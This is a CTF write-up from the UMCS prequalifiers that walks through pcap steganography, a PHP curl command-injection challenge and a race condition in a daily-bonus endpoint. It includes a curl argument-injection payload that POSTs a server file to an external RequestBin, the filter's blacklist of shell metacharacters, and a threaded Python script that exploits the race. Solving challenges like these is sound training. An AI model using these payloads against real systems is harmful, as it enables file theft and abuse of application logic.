UMCS Prequalifiers#

==1.1 Executive Summary==#

This challenge involved analyzing network traffic pcap file to uncover a hidden PNG file. After extracting and inspecting the image, we discovered the flag hidden using steganography.

==1.2 Challenge Overview==#

We were given a .pcap file and asked to investigate for hidden data. The goal was to locate and extract a hidden flag potentially embedded in a transmitted file.

==1.3 Tools Used==#

• Tools
  • Wireshark
  • Aperisolve

==1.4 Analysis==#

1. First, sort by length (descending) in Wireshark to spot large packets that might contain file data.
2. We found this suspiciously large data file.
3. Follow the TCP stream of the suspicious packets.
4. Within the stream, we found PNG file headers.
5. We exported the raw stream data file. (switching to raw is important)
6. Upon saving the file as .png and opening the file, we confirmed it’s an image.
7. Uploading the PNG to Aperisolve to scan for embedded steganographic data.

Flag: UMCS{h1dd3n_1n_png_st3g}

==1.5 Takeaways==#

This challenge highlights how data can be quietly hidden in seemingly ordinary traffic. Knowing what file signatures look like and using tools like Aperisolve is key to solving basic stego-over-network forensics.

==1.1 Executive Summary==#

This website lets you use the curl command after filtering input with a basic blacklist. The input is passed to shell_exec, making it possible to bypass the filter and inject commands. The goal is to exploit this for code execution.

==1.2 Case Specific Requirements==#

• Tools uses
  • BurpSuite
  • RequestBin

==1.3 Source Code Analysis==#

Based on the source code, the interesting part is on top:

1
<?php
2
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["url"])) {
3
    $url = $_POST["url"];
4

5
    $blacklist = [PHP_EOL,'$',';','&','#','`','|','*','?','~','<','>','^','<','>','(', ')', '[', ']', '{', '}', '\\'];
6

7
    $sanitized_url = str_replace($blacklist, '', $url);
8

9
    $command = "curl -s -D - -o /dev/null " . $sanitized_url . " | grep -oP '^HTTP.+[0-9]{3}'";
10

11
    $output = shell_exec($command);
12
    if ($output) {
13
        $response_message .= "<p><strong>Response Code:</strong> " . htmlspecialchars($output) . "</p>";
14
    }
15
}
16
?>

We found out that $blacklist, this need to be avoided.

1
$blacklist = [PHP_EOL,'$',';','&','#','`','|','*','?','~','<','>','^','<','>','(', ')', '[', ']', '{', '}', '\\'];

==1.4 Exploitation==#

1. First, we noticed that our user input is passed into the curl command after being sanitized using a basic blacklist.
   – Nice! That means we can try command injection here.
2. Since they’re using curl, we can log HTTP requests by pointing the command to a custom endpoint. For that, we use a RequestBin to track the website’s outgoing requests.
3. We’re also given a hint: the keyword hopes_and_dreams – sounds like something important will be sent to our listener.
4. So, we set up a listener and craft a payload to trigger the request.

Note: I’m using RequestBin for this, but you can also use webhook.site or any custom HTTP logger.

1
https://requestbin.kanbanbox.com/XXXXXX -o /dev/null -X POST --data-binary @hopes_and_dreams

==1.5 Flag==#

After we’ve done submitting the $payload, we can just get our flag on the RequestBin.

==2.2 Case Specific Requirements==#

• Tool used:
  • Python

==2.3 Source Code Analysis==#

Based on the source code, there are some interesting parts:

1. Database Schema:

   • users table: Stores username and balance
   • redemptions table: Tracks which users have claimed their daily bonus

2. Critical Vulnerability: The /claim endpoint contains a race condition:

   1
   # Check if already claimed
   2
   cur = db.execute('SELECT claimed FROM redemptions WHERE username=?', (username,))
   3
   row = cur.fetchone()
   4
   if row and row['claimed']:
   5
       flash("You have already claimed your daily bonus!", "danger")
   6
       return redirect(url_for('dashboard'))
   7
   
   8
   # Update database - these operations are not atomic
   9
   db.execute('INSERT OR REPLACE INTO redemptions (username, claimed) VALUES (?, 1)', (username,))
   10
   db.execute('UPDATE users SET balance = balance + 1000 WHERE username=?', (username,))
   11
   db.commit()
   

   The critical issue is that the check and update operations are not performed atomically. There’s a time window between checking if a user has claimed the bonus and marking it as claimed, allowing multiple simultaneous requests to pass the check before any single request updates the database.

3. Flag Access: The /buy_flag endpoint verifies a user’s balance before providing the flag:

   1
   if row and row['balance'] >= 3000:
   2
       db.execute('UPDATE users SET balance = balance - 3000 WHERE username=?', (username,))
   3
       db.commit()
   4
       flash("Reward redeemed!", "success")
   5
       return render_template('flag.html')
   

1
### ==2.4 Exploitation==
2
#### ==Final Payload==
3
We developed a Python script to exploit the race condition vulnerability:
4
```python
5
import requests
6
import threading
7
import re
8
import time
9

10
url = "http://159.69.219.192:7859/"
11

12
username = f"test{int(time.time())}"
13
session = requests.Session()
14
register_resp = session.post(f"{url}/register", data={"username": username})
15
print(f"Registered as: {username}")
16

17
def claim_bonus():
18
    try:
19
        resp = session.post(f"{url}/claim")
20
        if "Daily bonus collected" in resp.text:
21
            print("Successfully claimed bonus!")
22
        elif "already claimed" in resp.text:
23
            print("Claim blocked - already claimed")
24
    except Exception as e:
25
        print(f"Error: {str(e)}")
26

27
threads = []
28
num_threads = 30
29

30
print(f"Launching {num_threads} simultaneous claim attempts...")
31
for i in range(num_threads):
32
    t = threading.Thread(target=claim_bonus)
33
    threads.append(t)
34

35
for t in threads:
36
    t.start()
37

38
for t in threads:
39
    t.join()
40

41
dashboard_resp = session.get(f"{url}/dashboard")
42
balance_match = re.search(r'Your current balance: <strong>\$(\d+)</strong>', dashboard_resp.text)
43

44
if balance_match:
45
    balance = int(balance_match.group(1))
46
    print(f"Current balance: ${balance}")
47

48
    if balance >= 3000:
49
        print("Balance sufficient! Buying flag...")
50
        flag_resp = session.post(f"{url}/buy_flag")
51

52
        if "UMCS{" in flag_resp.text:
53
            flag_match = re.search(r'UMCS\{[^}]+\}', flag_resp.text)
54
            if flag_match:
55
                print(f"FLAG FOUND: {flag_match.group(0)}")
56
            else:
57
                print("Flag format not detected, but here's response:")
58
                # Print part of the response to see the flag
59
                print(flag_resp.text[:500] + "...")
60
        else:
61
            print("Could not find flag in response")
62
    else:
63
        print(f"Need ${3000 - balance} more to buy the flag")
64
else:
65
    print("Could not determine balance")

The race condition works because:

• The server first checks if a user has already claimed the bonus
• Then separately updates the database to mark it as claimed
• When multiple requests hit simultaneously, several can pass the initial check before any mark the bonus as claimed
• Each successful request increases the user’s balance by $1000

==2.5 Flag==#

Flag: UMCS{th3_s0lut10n_is_pr3tty_str41ghtf0rw4rd_too!}